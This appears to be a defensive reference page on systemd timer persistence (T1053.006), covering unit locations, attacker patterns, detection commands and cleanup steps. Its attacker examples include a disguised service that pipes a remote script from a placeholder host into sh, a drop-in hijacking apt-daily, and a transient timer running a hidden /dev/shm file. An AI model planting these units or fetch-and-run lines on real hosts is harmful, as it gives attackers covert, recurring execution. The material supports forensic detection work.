On a schedule
Systemd Timers: Scheduled Linux Persistence
How attackers use systemd timers instead of cron for scheduled persistence on Linux, where timer units live, and how to list, verify and remove them.
- MITRE ATT&CK
- T1053.006
- Tactics
- Persistence, Execution, Privilege escalation
- Runs
- On a schedule
- Set up by
- Users and root
- Locations
- /etc/systemd/system/*.timer
- /etc/systemd/system/timers.target.wants/*
- /usr/lib/systemd/system/*.timer
- ~/.config/systemd/user/*.timer
- /var/lib/systemd/timers/stamp-*
How it works
A .timer unit starts another unit on a schedule: by default the .service with the same name, or the unit named in Unit=. The timer holds only the schedule; what runs, as which user and with which environment, is defined by that service (see systemd services).
Schedules come in two kinds:
- Wall clock:
OnCalendar=takes calendar expressions such asdaily,Mon *-*-* 03:00or*:0/5(every five minutes). WithPersistent=true, systemd stores the last trigger time and catches up on a missed run at boot. - Monotonic:
OnBootSec=,OnStartupSec=,OnActiveSec=,OnUnitActiveSec=andOnUnitInactiveSec=count from boot, from manager start, or from the last activation.OnBootSec=2minplusOnUnitActiveSec=10minmeans "two minutes after boot, then every ten minutes".
AccuracySec= (one minute by default) and RandomizedDelaySec= blur the exact time. A timer runs only when started: systemctl enable links it into timers.target.wants/ so it starts at boot. The service it starts usually has no [Install] section and shows as static. Each run is logged in the journal under the service's name.
User managers run timers too, from ~/.config/systemd/user or /etc/systemd/user; with lingering on (loginctl enable-linger), they run without the user logged in. systemd-run --on-calendar= or --on-active= creates a transient timer and service under /run/systemd/transient: no file on disk, gone at the next reboot.
Current Debian, Ubuntu, RHEL and Fedora releases ship many timers that replace cron jobs (apt-daily, logrotate, man-db, fstrim, dnf-makecache), so a timer list is never empty. Compare against a clean host of the same release.
Where it lives
| Path | What | Who can write it |
|---|---|---|
/etc/systemd/system/*.timer | Admin timers | root |
/etc/systemd/system/timers.target.wants/ | Links of enabled system timers | root |
/usr/lib/systemd/system/*.timer, /lib/systemd/system/*.timer | Package timers | root (package manager) |
/usr/local/lib/systemd/system/*.timer | Locally installed timers | root |
/run/systemd/transient/ | Timers from systemd-run, lost at reboot | root |
/etc/systemd/user/, /usr/lib/systemd/user/ | User timers for every account | root |
~/.config/systemd/user/*.timer and its timers.target.wants/ | One user's timers | the user |
/var/lib/systemd/timers/stamp-*.timer | Last trigger of Persistent= system timers | systemd |
~/.local/share/systemd/timers/stamp-*.timer | Same for user timers | the user's manager |
How attackers use it
A timer and service pair
The usual form: a name that looks like vendor maintenance, a short monotonic interval, and a oneshot service that fetches and runs a script.
# /etc/systemd/system/fwupd-refresh-helper.timer
[Unit]
Description=Refresh fwupd metadata helper
[Timer]
OnBootSec=2min
OnUnitActiveSec=10min
[Install]
WantedBy=timers.target
# /etc/systemd/system/fwupd-refresh-helper.service
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'curl -fsS https://example.com/u.sh | sh'
In systemctl list-timers it sits among a dozen legitimate timers. Unlike cron, no single file shows both the schedule and the command.
Hijacking an existing timer
The timer stays untouched; a drop-in on the service it starts adds a command that runs as root on the vendor's schedule. A drop-in on the timer itself can also point Unit= at another service.
# /etc/systemd/system/apt-daily.service.d/override.conf
[Service]
ExecStartPost=/usr/local/sbin/.apt-hook
User timers
Any account can do the same in its own folder, and keep it running without a session:
systemctl --user enable --now sync.timer
loginctl enable-linger "$USER"
Transient timers
A repeating job with no unit file anywhere on disk, until the next reboot. It is the systemd counterpart of at jobs:
systemd-run --on-calendar='*:0/15' --unit=journal-flush /bin/sh -c '/dev/shm/.j'
How to check a host
On a live host
systemctl list-timers --all # NEXT, LAST, UNIT and the unit it ACTIVATES
systemctl list-unit-files --type=timer
systemctl cat fwupd-refresh-helper.timer fwupd-refresh-helper.service
systemd-analyze calendar '*:0/15' # what an OnCalendar expression means
ls -la /run/systemd/transient/ # timers created by systemd-run
ls -la --time-style=full-iso /var/lib/systemd/timers/
sudo systemctl --user -M alice@ list-timers --all # one user's timers, systemd 248+
journalctl -u fwupd-refresh-helper.service --since -7d
For each timer, read the unit it activates and every drop-in of both (systemctl cat prints them with their paths). Check that a package owns the timer, the service and the program: dpkg -S and dpkg -V on Debian, rpm -qf and rpm -Vf on RHEL. systemd-delta --type=extended lists every unit with a drop-in.
Offline or from a collection
List every *.timer file and the timers.target.wants/ links in /etc/systemd/system, /usr/lib/systemd/system and each home's .config/systemd/user. A link's mtime is roughly when the timer was enabled; a stamp file's mtime in /var/lib/systemd/timers is when a persistent timer last fired. Pair each timer with its service (Unit= or the same name) and read both, drop-ins included. Run journalctl -D /mnt/image/var/log/journal -u <service> to see every run.
Linux Persistence reads timers and their services offline from the collection command.
What Linux Persistence flags
Every .timer file in the system and user unit folders is one entry. It shows the schedule as written (OnCalendar, OnBootSec, OnStartupSec, OnActiveSec, OnUnitActiveSec, OnUnitInactiveSec), the unit it starts and its WantedBy. The entry is marked enabled, disabled or masked from the timers.target.wants links and /dev/null masks in the collection, with the link's time as the enable time.
The timer entry carries no command heuristics, because the command lives in the service. That service is its own entry, flagged by Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Runs from a temporary folder, Runs from a hidden folder and the other command heuristics, and by Drop-in changes what a unit runs when a drop-in adds an Exec* line. Read the two entries together. A service started only by a timer usually shows as disabled, which is expected.
On the timer file itself, the package layer applies: Not installed by any package (medium in /usr/lib or /lib, low in /etc/systemd/system) and Differs from package package when a packaged timer was edited. Changed date marks timers modified in the 7 days before the newest file in the collection. User services start at boot (linger) turns medium when the lingering user also has timers.
Limits: there is no frequency check on timer schedules, unlike the cron every-minute flag. A timer drop-in that only changes the schedule or Unit= is not listed. Transient timers under /run and stamp files are not read, and the tool cannot tell whether a timer is running now.
Cleaning up
- Preserve first:
cp -athe timer, its service, both drop-in folders, the links and the stamp file; savesystemctl showfor both units andjournalctl -u <service> -o export; hash the files. systemctl disable --now <name>.timer, thensystemctl stop <name>.service. Delete the files and runsystemctl daemon-reload. For a hijacked vendor timer, delete only the drop-in. A transient timer disappears withsystemctl stop <name>.timer.- For user timers:
systemctl --user -M alice@ disable --now <name>.timer, delete the files,loginctl disable-linger alice. - Look for the same program in crontabs, at jobs and other units, and check generators that could rewrite the timer at boot.
- Rotate the credentials of the account the service ran as; a root service means a root compromise.
References
See also
Related techniques
On Linux Forensics
The artifacts behind this technique, in the Linux Forensics reference: